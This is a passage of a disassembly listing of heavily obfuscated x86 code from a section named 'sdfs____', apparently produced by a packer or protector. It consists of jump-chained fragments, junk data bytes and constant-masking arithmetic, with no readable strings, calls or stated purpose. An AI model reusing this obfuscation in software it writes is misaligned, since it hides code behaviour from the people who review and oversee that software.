loc_58C754:				; CODE XREF: sdfs____:00591AFBj
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	649Fh
		jmp	loc_58C900
; ---------------------------------------------------------------------------


loc_58C774:				; CODE XREF: sdfs____:005938D6j
		mov	[esp], ecx
		mov	ecx, 744C6905h
		jmp	loc_58FA0A
; ---------------------------------------------------------------------------
		db 0E9h, 6Bh, 81h
		dd 0F3810000h, 56504083h, 9EEEF381h, 0DD014EBEh, 83241C8Bh
		dd 0BB5304C4h, 179D79A0h, 4B5C381h, 834B4285h, 0F74BFFEBh
		dd 0F725E9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C7B2:				; CODE XREF: sdfs____:00596D37j
		mov	[esp], ecx
		jmp	loc_5968F8
; ---------------------------------------------------------------------------


loc_58C7BA:				; CODE XREF: sdfs____:0058FE62j
		shl	esi, 3
		or	esi, 5E3B5D4Ah
		inc	esi
		sub	esi, 0AA70C90h
		push	edx
		jmp	loc_58CEF0
; ---------------------------------------------------------------------------


loc_58C7D0:				; CODE XREF: sdfs____:0058C287j
		xor	eax, 36A96051h
		jmp	loc_598B36
; ---------------------------------------------------------------------------


loc_58C7DA:				; CODE XREF: sdfs____:00590740j
		mov	cx, [esp]
		add	esp, 2
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58C9C2
; ---------------------------------------------------------------------------


loc_58C7F6:				; CODE XREF: sdfs____:00592FE3j
		inc	ebx
		jmp	loc_5910CE
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0EABA2414h, 81160D18h, 4ECh, 24048900h, 2F6FF2B8h
		dd 8E0C168h, 5DE9D0F7h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C81F:				; CODE XREF: sdfs____:00596198j
		mov	edi, 3D81796Bh
		sub	edi, 0FA7A33BDh
		sub	ecx, edi
		jmp	loc_58EA0B
; ---------------------------------------------------------------------------


loc_58C831:				; CODE XREF: sdfs____:00596312j
		push	84Eh
		jmp	loc_59578D
; ---------------------------------------------------------------------------
aESX		db '½°+E',0Dh,'éš•',0
		dd 0E6E95200h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C84B:				; CODE XREF: sdfs____:00592641j
		xor	edi, 5C0056FCh
		jg	loc_591FE4
		xor	edi, 7DBB6A95h
		mov	ebp, edi
		or	al, 77h
		pop	esi
		jg	loc_591857
		sub	eax, 1B8C5529h
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		pop	esp


loc_58C873:				; CODE XREF: sdfs____:005948DFj
		xor	ecx, 4A1C71DDh
		mov	edx, ecx
		pop	ecx
		or	edx, 79692F42h
		dec	edx
		xchg	edi, edx
		xchg	ebx, edi
		not	ebx
		jmp	loc_5949FF
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 960EE9h, 0AD04E900h,	1B680000h, 89000073h, 0EC812414h
		dd 4, 68240489h, 4130h,	57241C89h, 4B31F8BFh, 0E9FB893Fh
		dd 1464h
; ---------------------------------------------------------------------------


loc_58C8C0:				; CODE XREF: sdfs____:00591173j
		pop	ebp
		xor	ebp, 380274B2h
		add	edi, ebp
		pop	ebp
		add	edi, 2
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_58F53B
; ---------------------------------------------------------------------------


loc_58C8E0:				; CODE XREF: sdfs____:005967FBj
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_596C33
; ---------------------------------------------------------------------------
		dw 0EE01h
aLS		db '‹,$é)²',0
		align 4
		dd 0E92434FFh, 6B64h
; ---------------------------------------------------------------------------


loc_58C900:				; CODE XREF: sdfs____:0058C76Fj
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 259A0493h
		inc	eax
		shr	eax, 3
		push	ebx
		mov	ebx, 33606693h
		sub	ebx, 25480985h
		and	eax, ebx
		pop	ebx
		or	eax, 587D76E0h
		sub	eax, 5C7D76DEh
		sub	edx, 626233DCh
		jmp	loc_58D31A
; ---------------------------------------------------------------------------
aIsM		db 'Ié',9,'M',0
		db 0
; ---------------------------------------------------------------------------


loc_58C939:				; CODE XREF: sdfs____:00594ACDj
		push	79A6h
		mov	[esp], esi
		push	6F8Ch
		mov	[esp], edx
		mov	edx, 1
		push	edx
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_591047
; ---------------------------------------------------------------------------


loc_58C963:				; CODE XREF: sdfs____:00595A7Ej
		pop	edi
		add	esi, 1
		push	0A42h
		mov	[esp], edi
		mov	edi, 12126D97h
		sub	esi, edi
		pop	edi
		jmp	loc_597685
; ---------------------------------------------------------------------------


loc_58C97C:				; CODE XREF: sdfs____:00593E26j
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_595EA9
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 5624248Bh, 0BF57E689h,	27991D8Ah
		dd 4B9EE953h, 0C4830000h, 25F9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C9BA:				; CODE XREF: sdfs____:005921AAj
		xchg	ebx, [esp]
		jmp	loc_5908AB
; ---------------------------------------------------------------------------


loc_58C9C2:				; CODE XREF: sdfs____:0058C7F1j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 59h
		dd 0FA04D828h, 0D5045Bh, 52D52CD8h, 0E680C8B6h,	0D1E951ECh
		dd 0B9FFFFF5h, 0B768F6F9h, 5839E9h, 5BD83000h, 2E5268h
		dd 241C8900h, 30DE9h
		db 0
; ---------------------------------------------------------------------------


loc_58C9F9:				; CODE XREF: sdfs____:00593EA7j
		mov	edi, 62B40AB7h
		not	edi
		add	edi, 62232370h
		inc	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7F624283h
		push	edx
		mov	edx, 6D405330h
		add	edx, 605F4E71h
		jmp	loc_58D09E
; ---------------------------------------------------------------------------


loc_58CA26:				; CODE XREF: sdfs____:0058D2B4j
		mov	ecx, 544DFCE8h
		add	esi, 2DD27154h
		add	esi, 781472F6h
		jmp	loc_58CD1B
; ---------------------------------------------------------------------------


loc_58CA3C:				; CODE XREF: sdfs____:0058DB2Cj
		xor	esi, 5D46F1E0h
		jmp	loc_58D333
; ---------------------------------------------------------------------------
		db 58h
		dd 4E6CF181h, 0E1C16647h, 0B194E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CA56:				; CODE XREF: sdfs____:00594AAFj
		pop	ecx
		mov	ebp, [esp]
		jmp	loc_590947
; ---------------------------------------------------------------------------


loc_58CA5F:				; CODE XREF: sdfs____:005951D3j
		jno	loc_596637
		jmp	loc_596BD3
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 634C1205h, 0EC835157h, 28E7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CA7A:				; CODE XREF: sdfs____:0058DE06j
		push	ecx
		mov	ecx, 0E103161Eh
		jmp	loc_597A27
; ---------------------------------------------------------------------------
		db 1, 0FDh, 81h
		dd 17457AEDh, 2C335F39h, 242C3124h, 311CE9h, 0C8EF8100h
		dd 0FF479D77h, 815A2434h, 4C4h,	8BFE0100h, 0B0E9243Ch
		dd 0FF0000B8h, 48B2434h, 0E0895024h, 405h, 8F0EE900h, 295E0000h
		dd 1C875FFBh, 89665C24h, 50662414h, 0EEEBE99Ch,	0C8BFFFFh
		dd 4C48324h, 0F616EA80h, 0FFEA80D2h, 68h, 24142800h, 5524148Ah
		dd 2495E9h, 48F5900h, 3C895C24h, 71E95424h, 0A1h, 77C4E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CB0E:				; CODE XREF: sdfs____:0058E5CDj
		and	esi, 0B6A6153h
		jmp	loc_58CC4B
; ---------------------------------------------------------------------------


loc_58CB19:				; CODE XREF: sdfs____:00597C1Ej
		push	eax
		jmp	loc_59566E
; ---------------------------------------------------------------------------


loc_58CB1F:				; CODE XREF: sdfs____:00590503j
		push	59E0h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 200000h
		mov	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		sub	esp, 4
		jmp	loc_597B60
; ---------------------------------------------------------------------------


loc_58CB52:				; CODE XREF: sdfs____:0058D597j
		pop	esp
		jmp	loc_59594B
; ---------------------------------------------------------------------------


loc_58CB58:				; CODE XREF: sdfs____:00597A4Fj
		add	edi, edx
		sub	edi, 106C412Dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_591F72
; ---------------------------------------------------------------------------


loc_58CB72:				; CODE XREF: sdfs____:0059295Aj
		xchg	eax, edi
		jmp	loc_58E24D
; ---------------------------------------------------------------------------
		dd 0E3A3F181h, 28E928B8h, 8300007Dh, 575204C4h,	0F96EE2BFh
		dd 0FB895358h, 5F5BDA89h, 0EA81D2F7h, 7AB51284h, 4EAC14Ah
		dd 17E5EA81h, 0C38102C5h, 26A2396h, 18E9D301h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CBB3:				; CODE XREF: sdfs____:0058E03Aj
		xchg	ebp, ecx
		push	3970h
		mov	[esp], edi
		jmp	loc_596D34
; ---------------------------------------------------------------------------


loc_58CBC2:				; CODE XREF: sdfs____:0058D051j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_591C2C
; ---------------------------------------------------------------------------
		db 1
		dd 58042444h, 83241C8Bh, 2CE904C4h, 6600004Bh, 8324048Bh
		dd 48904ECh, 68E08924h,	70F8h, 41ADE9h,	65FA0500h, 0AA057CE2h
		dd 0E9533414h, 2B68h
; ---------------------------------------------------------------------------


loc_58CC00:				; CODE XREF: sdfs____:00594131j
		xor	esi, 3D1F0962h
		not	esi
		sub	esi, 0ACF439A1h
		push	esi
		pop	edx
		pop	esi
		jmp	loc_596879
; ---------------------------------------------------------------------------


loc_58CC16:				; CODE XREF: sdfs____:00592B5Fj
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 41AF55F8h
		shr	ecx, 2
		xor	ecx, 2FA230D8h
		jmp	loc_595D4B
; ---------------------------------------------------------------------------


loc_58CC2D:				; CODE XREF: sdfs____:00590F5Fj
		add	ebp, 2938531Ch
		sub	ebx, ebp
		jmp	loc_598A48
; ---------------------------------------------------------------------------


loc_58CC3A:				; CODE XREF: sdfs____:0058F7E5j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ebp
		push	edx
		jmp	loc_5904F8
; ---------------------------------------------------------------------------


loc_58CC4B:				; CODE XREF: sdfs____:0058CB14j
		xor	esi, 2404004h
		add	ecx, esi
		pop	esi
		push	esi
		mov	esi, 5EDF2CCCh
		xor	esi, 678D7DB1h
		xor	esi, 39525179h
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_595C79
; ---------------------------------------------------------------------------


loc_58CC74:				; CODE XREF: sdfs____:0058DE64j
		js	loc_592D9E
		jmp	loc_593CCC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 51CBC380h, 0CD88F4B5h
; ---------------------------------------------------------------------------


loc_58CC88:				; CODE XREF: sdfs____:00597473j
		neg	ebx
		push	ecx
		mov	ecx, 37E3508Fh
		or	ebx, ecx
		jmp	loc_592FE2
; ---------------------------------------------------------------------------
aZspu		db '(ÓZépU',0
		db 0
; ---------------------------------------------------------------------------


loc_58CC9F:				; CODE XREF: sdfs____:00597DC4j
		push	1
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_58E351
; ---------------------------------------------------------------------------


loc_58CCC2:				; CODE XREF: sdfs____:00591FDFj
		add	edx, 0E92BB694h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_58D9A7
		push	5CE4h
		mov	[esp], esi
		mov	esi, ebx
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_58E0E8
; ---------------------------------------------------------------------------
aVsV		db 'Vé*¢',0
		align 2
		dw 0B551h
		dd 3048B747h, 240C8BEFh, 4C481h, 6AE90000h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CD1B:				; CODE XREF: sdfs____:0058CA37j
		sub	esi, ecx
		sub	esi, 781472F6h
		sub	esi, 2DD27154h
		pop	ecx
		sub	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		jmp	loc_591448
; ---------------------------------------------------------------------------


loc_58CD3E:				; CODE XREF: sdfs____:0058E8B9j
		xor	edi, 9441CAA7h
		mov	esi, edi
		pop	edi
		add	ebx, esi
		pop	esi
		push	dword ptr [eax]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58CD51:				; CODE XREF: sdfs____:00590856j
		xor	ecx, 5097645Bh
		jmp	loc_597C9C
; ---------------------------------------------------------------------------


loc_58CD5C:				; CODE XREF: sdfs____:00591CB2j
		pop	edx
		dec	ecx
		jmp	loc_58C24A
; ---------------------------------------------------------------------------


loc_58CD63:				; CODE XREF: sdfs____:00596DD9j
		sub	esi, 5A3C1172h
		jb	loc_58CF2E
		shl	esi, 7
		jmp	loc_590CA1
; ---------------------------------------------------------------------------
		db 81h
		dd 0E869A6E9h
		db 33h,	5Eh
; ---------------------------------------------------------------------------


loc_58CD7E:				; CODE XREF: sdfs____:0058FC9Cj
		jz	loc_58E498
		jmp	loc_59805C
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 31CC6853h, 0E6E9054Eh, 0FF00000Eh, 669D1C77h, 2414D359h
		dd 86E1E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CDA6:				; CODE XREF: sdfs____:0058BE0Fj
		push	dword ptr [esp]
		jmp	loc_594710
; ---------------------------------------------------------------------------


loc_58CDAE:				; CODE XREF: sdfs____:00595BF5j
		pop	esi
		pop	edx
		push	ebx
		mov	ebx, 3ED566B3h
		sub	ebx, 19E61FC4h
		sub	edi, ebx
		pop	ebx
		jmp	loc_58DB81
; ---------------------------------------------------------------------------


loc_58CDC4:				; CODE XREF: sdfs____:00593399j
		xchg	edx, [esp]
		pop	esp
		idiv	ecx
		push	1F74h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58CDD9:				; CODE XREF: sdfs____:00592971j
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58CDE6:				; CODE XREF: sdfs____:00592199j
		push	ebx
		pop	ebp
		pop	ebx
		add	ebp, 1ACA1165h
		add	ebp, ebx
		jmp	loc_59232D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4EC81h, 14890000h, 2474FF24h, 284FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CE0E:				; CODE XREF: sdfs____:00593D6Cj
		xor	edi, 739ABABh
		xor	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	7E072C30h
		mov	eax, [esp]
		jmp	loc_58EB56
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D2h, 0FFEB78E9h, 6EAC1FFh, 77C3CA81h
		dd 0F2817CECh, 7CEC77E7h, 15AD589h, 3C875DEFh, 24248B24h
		dd 0DC68D829h, 89000045h, 6857240Ch, 640D135Ah,	0FFC7815Fh
		dd 0F30BD0Bh, 190A85h, 0B8F78100h, 8A0C5E3Bh
		db 0C4h, 89h, 0F1h
; ---------------------------------------------------------------------------


loc_58CE8F:				; CODE XREF: sdfs____:00593274j
		jbe	loc_593489
		neg	eax
		jns	loc_591D9D
		add	eax, 4F40EDB2h
		mov	ebx, eax
		pop	eax
		sub	ebx, esi
		pop	esi


loc_58CEA8:				; CODE XREF: sdfs____:00593E41j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58FB0B
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 0E9000000h, 0B362h, 3866840Fh, 0E5810000h, 7FC95306h
		dd 0BCE95650h, 5CFFFFF7h, 0E9241489h, 306Ah
; ---------------------------------------------------------------------------


loc_58CEE0:				; CODE XREF: sdfs____:00590A98j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_5955A4
; ---------------------------------------------------------------------------


loc_58CEF0:				; CODE XREF: sdfs____:0058C7CBj
		mov	edx, 0DC5E7723h
		xor	esi, edx
		jmp	loc_58F9EF
; ---------------------------------------------------------------------------
		dd 24148B5Eh, 4C481h, 0ACE90000h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CF0B:				; CODE XREF: sdfs____:0059493Aj
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 9996E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CF2E:				; CODE XREF: sdfs____:0058CD69j
		shl	esi, 7
		jmp	loc_59611E
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 33E869A6h, 18EEE981h, 875A6BE6h, 565C240Ch, 0C681E689h
		dd 4, 4C681h, 34870000h, 24248B24h, 56E08950h, 0D87920BEh
		dd 0FFC68359h, 0EB685755h, 5F6D1D5Ah, 39DBC781h, 0EF816790h
		dd 89BB8226h, 330FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58CF81:				; CODE XREF: sdfs____:005962E6j
		pop	eax
		sub	eax, 52E302AFh
		jmp	loc_58DF2C
; ---------------------------------------------------------------------------


loc_58CF8C:				; CODE XREF: sdfs____:0059620Fj
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_58E3BC
; ---------------------------------------------------------------------------
		db 52h,	54h, 5Ah
		dd 4C281h, 0C2810000h, 4, 88C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_58CFB1:				; CODE XREF: sdfs____:005906E2j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58CFC2:				; CODE XREF: sdfs____:00592719j
		shr	ecx, 0Ah
		push	esi
		push	5C8Eh
		mov	[esp], ebx
		add	dword ptr [esp], 73C17AD2h
		pop	esi
		sub	esi, 73C17AD2h
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, 7AE2F40h
		mov	ecx, 7AE2F44h
		xor	ecx, edi
		pop	edi
		jmp	loc_591275
; ---------------------------------------------------------------------------
		db 68h,	55h, 34h
		dd 14890000h, 35F0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D00E:				; CODE XREF: sdfs____:00596823j
		mov	edi, [esp]
		add	esp, 4
		xor	eax, 653A72ACh
		sub	eax, 1BC5154Fh
		push	ecx
		mov	ecx, 542580Eh
		jmp	loc_595062
; ---------------------------------------------------------------------------


loc_58D029:				; CODE XREF: sdfs____:00594091j
		add	edx, 5F76508Ah
		push	eax
		mov	eax, 0B0F1A99Fh
		add	edx, eax
		pop	eax
		add	ecx, 516C0E4Eh
		jmp	loc_590A13
; ---------------------------------------------------------------------------


loc_58D043:				; CODE XREF: sdfs____:0058BABDj
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	esi, ebp
		jmp	loc_58CBC2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 9168240Ch, 0E9000069h, 0BB14h
; ---------------------------------------------------------------------------


loc_58D064:				; CODE XREF: sdfs____:00598B9Fj
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5971B6
; ---------------------------------------------------------------------------


loc_58D06E:				; CODE XREF: sdfs____:00591312j
		jmp	loc_58BB1D
; ---------------------------------------------------------------------------
		db 33h
		dd 0E95C2414h, 7EFh, 37E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D081:				; CODE XREF: sdfs____:00598333j
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, ebx
		push	edx
		mov	edx, edi
		mov	esi, edx
		pop	edx
		pop	edi
		mov	ebx, [esp]
		jmp	loc_594513
; ---------------------------------------------------------------------------


loc_58D09E:				; CODE XREF: sdfs____:0058CA21j
		xor	edx, 4C573361h
		jmp	loc_58D89F
; ---------------------------------------------------------------------------


loc_58D0A9:				; CODE XREF: sdfs____:0058FAF8j
		jp	loc_597BB4
		neg	ebx
		jmp	loc_595F67
; ---------------------------------------------------------------------------


loc_58D0B6:				; CODE XREF: sdfs____:005924DAj
		pop	ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	466Eh
		jmp	loc_58BBFF
; ---------------------------------------------------------------------------


loc_58D0C8:				; CODE XREF: sdfs____:00595946j
		sub	edi, edx
		sub	edi, 5F7463CDh
		jmp	loc_591300
; ---------------------------------------------------------------------------


loc_58D0D5:				; CODE XREF: sdfs____:00592D4Dj
		add	ecx, 273A63EFh
		shr	ecx, 8
		jmp	loc_58D925
; ---------------------------------------------------------------------------
		db 54h
		dd 9EF1E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D0EA:				; CODE XREF: sdfs____:00593C5Bj
		push	451F15E5h
		pop	edi
		push	edi
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	edi
		add	edi, 451F15E7h
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		push	ebx
		mov	ebx, 1F912E8Dh
		not	ebx
		xor	ebx, 0DA7CADAEh
		jmp	loc_5943F7
; ---------------------------------------------------------------------------


loc_58D127:				; CODE XREF: sdfs____:005909FAj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		add	ebx, eax
		jmp	loc_58EC59
; ---------------------------------------------------------------------------
		dd 6FA8F781h, 0C7812E42h, 75A77B0h, 1295E9h, 63B6B900h
		dd 0D1F70724h, 0FFEA1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D15D:				; CODE XREF: sdfs____:0058D7E8j
					; sdfs____:005963F6j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58D43F
; ---------------------------------------------------------------------------


loc_58D16E:				; CODE XREF: sdfs____:0058BF50j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_59689F
; ---------------------------------------------------------------------------


loc_58D188:				; CODE XREF: sdfs____:005909A7j
		pop	ebp
		add	ebp, 4
		jmp	loc_592853
; ---------------------------------------------------------------------------


loc_58D194:				; CODE XREF: sdfs____:00592249j
		dec	edi
		jmp	loc_594947
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 29567427h, 592BEB81h, 0D80114BFh, 2BF575Bh, 83000000h
		dd 148904ECh, 3803BA24h, 0E95728C5h, 5E34h, 0A16C850Fh
		dd 0E90000h, 8100004Eh,	73A6BEBh, 7FF7819Fh, 97309C40h
		dd 726E997h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D1DE:				; CODE XREF: sdfs____:0058EB81j
		mov	eax, esp
		add	eax, 4
		jmp	loc_58FDE4
; ---------------------------------------------------------------------------
		dw 0C15Dh
		dd 8A0F08EDh, 8CF7h, 7E33E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D1F9:				; CODE XREF: sdfs____:005915D3j
		add	al, bl
		push	ecx
		mov	cl, 63h
		jmp	loc_597A70
; ---------------------------------------------------------------------------


loc_58D203:				; CODE XREF: sdfs____:005924C5j
		mov	ecx, 15954C06h
		push	edi
		mov	edi, 669126B1h
		sub	edi, 1030A60h
		xor	edi, 7BCFEF92h
		add	ecx, edi
		pop	edi
		mov	esi, ecx
		pop	ecx
		sub	ecx, esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58BCC6
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0Ch
		dd 89210A42h, 0F5815EF5h, 71570841h, 1C72E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D245:				; CODE XREF: sdfs____:00597D27j
		pop	dword ptr [edi+24h]


loc_58D248:				; CODE XREF: sdfs____:0059807Ej
		push	0CF5h
		jmp	loc_597812
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 8B241C89h, 89562404h, 184868E6h, 1C890000h, 74EFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D26E:				; CODE XREF: sdfs____:00597CDEj
		xor	al, bh
		mov	bx, [esp]
		add	esp, 2
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0C3h
		mov	bl, 0C7h
		xor	bl, cl
		jmp	loc_58ECA6
; ---------------------------------------------------------------------------


loc_58D2AD:				; CODE XREF: sdfs____:005914E1j
		add	esp, 4
		not	esi
		inc	esi
		push	ecx
		jmp	loc_58CA26
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 93DE4BDh, 1D79E978h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D2C6:				; CODE XREF: sdfs____:00598ABDj
		pop	ebp
		neg	esi
		sub	esi, 29694E46h
		push	ebp
		mov	ebp, 0E979B469h
		add	esi, ebp
		pop	ebp
		jmp	loc_58B9CB
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 42474FFh, 81241C8Bh,	4C4h, 24048F00h, 6211E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D2F5:				; CODE XREF: sdfs____:00596C73j
		inc	ebx
		and	ebx, 25C047D0h
		sub	ebx, 0B5EBCF22h
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
aQSh		db 'Q±!éhµ',0
		align 2


loc_58D31A:				; CODE XREF: sdfs____:0058C92Ej
		add	edx, eax
		jmp	loc_595318
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 9Dh
		dd 0C380E300h, 7D5E99Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D32E:				; CODE XREF: sdfs____:00591AA0j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58D333:				; CODE XREF: sdfs____:0058CA42j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 171A6C26h
		not	ebx
		dec	ebx
		xor	ebx, 7A04348Bh
		inc	ebx
		not	ebx
		add	ebx, 0AD72A978h
		add	ecx, ebx
		pop	ebx
		jmp	loc_59295F
; ---------------------------------------------------------------------------


loc_58D35B:				; CODE XREF: sdfs____:00592183j
		jmp	loc_590E23
; ---------------------------------------------------------------------------


loc_58D360:				; CODE XREF: sdfs____:0059241Aj
		add	ebx, 2AA76CFh
		sub	ebx, 3F190A41h
		mov	[ebx], edx
		pop	ebx
		pop	ecx
		jmp	loc_5908AC
; ---------------------------------------------------------------------------


loc_58D375:				; CODE XREF: sdfs____:loc_595C55j
		inc	edx
		jp	loc_592232
		not	edx
		inc	edx
		jmp	loc_58BC5C
; ---------------------------------------------------------------------------
		dd 0FBB69C51h
		db 89h,	0EEh
; ---------------------------------------------------------------------------


loc_58D38A:				; CODE XREF: sdfs____:00597729j
		push	edi
		mov	edi, 57802E64h
		or	edi, 5C7B4109h
		xor	edi, 50E0090Bh
		push	ecx
		mov	ecx, 668C032Dh
		xor	ecx, 670E26D1h
		and	ecx, 0DE56B6Bh
		xchg	ebp, ecx
		inc	ebp
		xchg	ebp, ecx
		sub	ecx, 6BEE73F0h
		sub	ecx, 0A4AD13E0h
		xor	edi, ecx
		pop	ecx
		mov	esi, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_595B37
; ---------------------------------------------------------------------------


loc_58D3CD:				; CODE XREF: sdfs____:0059576Fj
		mov	ebp, 0C4825A0h
		jmp	loc_5969AB
; ---------------------------------------------------------------------------


loc_58D3D7:				; CODE XREF: sdfs____:0058F744j
		sub	ebp, esi
		add	ebp, 5FBA44B1h
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5947EC
; ---------------------------------------------------------------------------


loc_58D3EA:				; CODE XREF: sdfs____:00591F04j
		add	[esp+8], ebp
		push	ecx
		mov	ecx, 509E494Ah
		add	[esp+0Ch], ecx
		pop	ecx
		pop	ebp
		jmp	loc_59595F
; ---------------------------------------------------------------------------


loc_58D3FF:				; CODE XREF: sdfs____:00591874j
		mov	ecx, [esp]
